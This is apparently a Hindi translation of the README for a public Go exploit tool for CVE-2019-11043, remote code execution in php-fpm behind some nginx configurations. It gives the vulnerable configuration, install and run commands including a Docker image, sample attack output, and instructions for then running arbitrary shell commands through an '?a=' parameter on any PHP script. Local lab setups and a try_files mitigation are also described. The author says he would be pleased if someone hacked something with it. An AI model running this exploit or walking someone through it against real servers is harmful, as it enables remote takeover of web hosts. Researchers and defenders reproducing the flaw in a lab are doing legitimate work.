
CVE-2019-11043 के लिए एक्सप्लॉइट
यह php-fpm (CVE-2019-11043) में एक बग का शोषण है। कुछ nginx + php-fpm कॉन्फ़िगरेशन में, यह बग बाहर से ट्रिगर करना संभव है। इसका मतलब है कि यदि आपके पास कमजोर कॉन्फ़िगरेशन है (नीचे पूर्व शर्तों की पूरी सूची देखें), तो एक वेब उपयोगकर्ता कोड निष्पादन प्राप्त कर सकता है।
जबकि हम व्याख्या लिखने में बहुत आलसी थे, ऑरेंज त्साई ने अपने ब्लॉग में एक उत्तम विश्लेषण प्रकाशित किया। उन्हें सलाम।
इसके अलावा, ZeroNights 2019 से मेरी स्लाइड्स उपलब्ध हैं।
यदि कोई वेबसर्वर nginx + php-fpm चलाता है और nginx में निम्नलिखित कॉन्फ़िगरेशन है
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
जिसमें किसी भी स्क्रिप्ट अस्तित्व की जाँच (try_files जैसी) का अभाव है, तो आप संभवतः इस शोषण से इसे हैक कर सकते हैं।
location ~ [^/]\.php(/|$) को php-fpm पर अग्रेषित किया जाना चाहिए (शायद regexp सख्त हो सकता है, #1 देखें)।fastcgi_param PATH_INFO $fastcgi_path_info; कथन के माध्यम से PATH_INFO चर असाइनमेंट होना चाहिए। साथ ही SCRIPT_FILENAME को fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; का उपयोग करके सेट किया जाना चाहिए ($document_root के बजाय एक स्थिर पथ हो सकता है)। पहले हमने सोचा था कि ये हमेशा fastcgi_params फ़ाइल में मौजूद होते हैं, लेकिन यह सच नहीं है।PATH_INFO को खाली मान पर सेट करने का एक तरीका होना चाहिए। यह शोषण मानता है कि fastcgi_split_path_info निर्देश वहाँ है और इसमें ^ से शुरू और $ पर समाप्त होने वाला एक regexp है, इसलिए यह एक न्यूलाइन वर्ण के साथ regexp को तोड़ने का प्रयास करता है।बहुत समय पहले php-fpm स्क्रिप्ट के एक्सटेंशन को प्रतिबंधित नहीं करता था, जिसका अर्थ है कि /avatar.png/some-fake-shit.php जैसा कुछ avatar.png को PHP स्क्रिप्ट के रूप में निष्पादित कर सकता था। यह समस्या लगभग 2010 में ठीक कर दी गई थी।
वर्तमान समस्या में फ़ाइल अपलोड की आवश्यकता नहीं है, सबसे हाल के संस्करणों में काम करता है (जब तक फिक्स नहीं आता), और सबसे महत्वपूर्ण बात, शोषण बहुत अच्छा है।
इसे इस प्रकार स्थापित करें:
go get github.com/neex/phuip-fpizdam
यदि आपको अजीब संकलन त्रुटियाँ मिलती हैं, तो सुनिश्चित करें कि आप go >= 1.13 का उपयोग कर रहे हैं। प्रोग्राम को phuip-fpizdam [url] का उपयोग करके चलाएं (मान लें कि आपके पास $GOPATH/bin आपके $PATH में है, अन्यथा बाइनरी का पूरा पथ निर्दिष्ट करें)। अच्छा आउटपुट इस तरह दिखता है:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
इसके बाद, आप सभी PHP स्क्रिप्ट्स में ?a=<your command> जोड़ना शुरू कर सकते हैं (आपको कई प्रयासों की आवश्यकता हो सकती है)।
वैकल्पिक रूप से, आप शोषण चलाने के लिए डॉकर इमेज का उपयोग कर सकते हैं:
docker run --rm ypereirareis/cve-2019-11043 [url]
यदि आप समस्या को पुन: उत्पन्न करना चाहते हैं या स्थानीय रूप से Docker के माध्यम से शोषण के साथ खेलना चाहते हैं, तो निम्न कार्य करें:
reproducer निर्देशिका पर जाएं।docker build -t reproduce-cve-2019-11043 . का उपयोग करके डॉकर इमेज बनाएं। इसमें लंबा समय लगता है क्योंकि यह आंतरिक रूप से php रिपॉजिटरी को क्लोन करता है और स्रोत से इसे बनाता है। हालाँकि, यदि आप शोषण को डीबग करना चाहते हैं तो यह तरीका आसान होगा। निर्मित संशोधन फिक्स से ठीक पहले का है।docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 का उपयोग करके डॉकर चलाएं।phuip-fpizdam http://127.0.0.1:8080/script.php का उपयोग करके शोषण चलाएं।?a= जोड़कर कमांड निष्पादित करने में सक्षम होंगे: http://127.0.0.1:8080/script.php?a=id. कई बार प्रयास करें क्योंकि केवल कुछ php-fpm वर्कर संक्रमित होते हैं।यदि आप समस्या को पुन: उत्पन्न करना चाहते हैं या स्थानीय रूप से LXD के माध्यम से शोषण के साथ खेलना चाहते हैं, तो निम्न कार्य करें:
vulnerable और attacker। आप दोनों कंटेनरों के लिए ubuntu:18.04 कंटेनर इमेज का उपयोग कर सकते हैं।vulnerable कंटेनर में, nginx और php-fpm स्थापित करें। सर्वर ब्लॉक को इस कॉन्फ़िगरेशन के रूप में कॉन्फ़िगर करें। एक खाली फ़ाइल /var/www/html/index.php बनाएं।attacker कंटेनर में, Go भाषा स्थापित करें (sudo snap install go --classic), इस रिपॉजिटरी को क्लोन करें, और रिपॉजिटरी की निर्देशिका में go build चलाएं।./phuip-fpizdam http://vulnerable.lxd/index.php। सभी php-fpm वर्करों को संक्रमित करने के लिए कई प्रकार के प्रयास करें।अधिक विस्तृत निर्देशों के लिए, LXD सिस्टम कंटेनरों के साथ CVE-2019-11043 (php-fpm सुरक्षा भेद्यता) का परीक्षण देखें।
php-fpm में बफर अंडरफ्लो PHP संस्करण 5 में मौजूद है। हालाँकि, यह शोषण FastCGI चरों को संग्रहीत करने के लिए उपयोग किए जाने वाले एक ऑप्टिमाइज़ेशन, _fcgi_data_seg का उपयोग करता है। यह ऑप्टिमाइज़ेशन केवल php 7 में मौजूद है, इसलिए यह विशेष शोषण केवल php 7 के लिए काम करता है। हो सकता है कि कोई अन्य शोषण तकनीक हो जो php 5 में काम करती हो।
मूल विसंगति d90pwn द्वारा Real World CTF के दौरान खोजी गई। मूल कारण मेरे (एमिल लर्नर) द्वारा पाया गया, साथ ही php.ini विकल्प सेट करने का तरीका भी। अंतिम php.ini विकल्प सेट beched द्वारा पाया गया।
यह शोषण MIT लाइसेंस की शर्तों के तहत वितरित किया जाता है।
इस शोषण से कोई नुकसान न करने से बचें। लेकिन यदि आप वास्तव में इस चीज़ से कुछ हैक करते हैं, तो मुझे खुशी होगी।
PATH_INFOREQUEST_URItry_files $uri =404 या if (-f $uri)। यदि Nginx FastCGI अग्रेषण से पहले गैर-मौजूद स्क्रिप्ट के अनुरोधों को गिरा देता है, तो हमारे अनुरोध कभी php-fpm तक नहीं पहुँचते। इसे जोड़ना पैच करने का सबसे आसान तरीका भी है।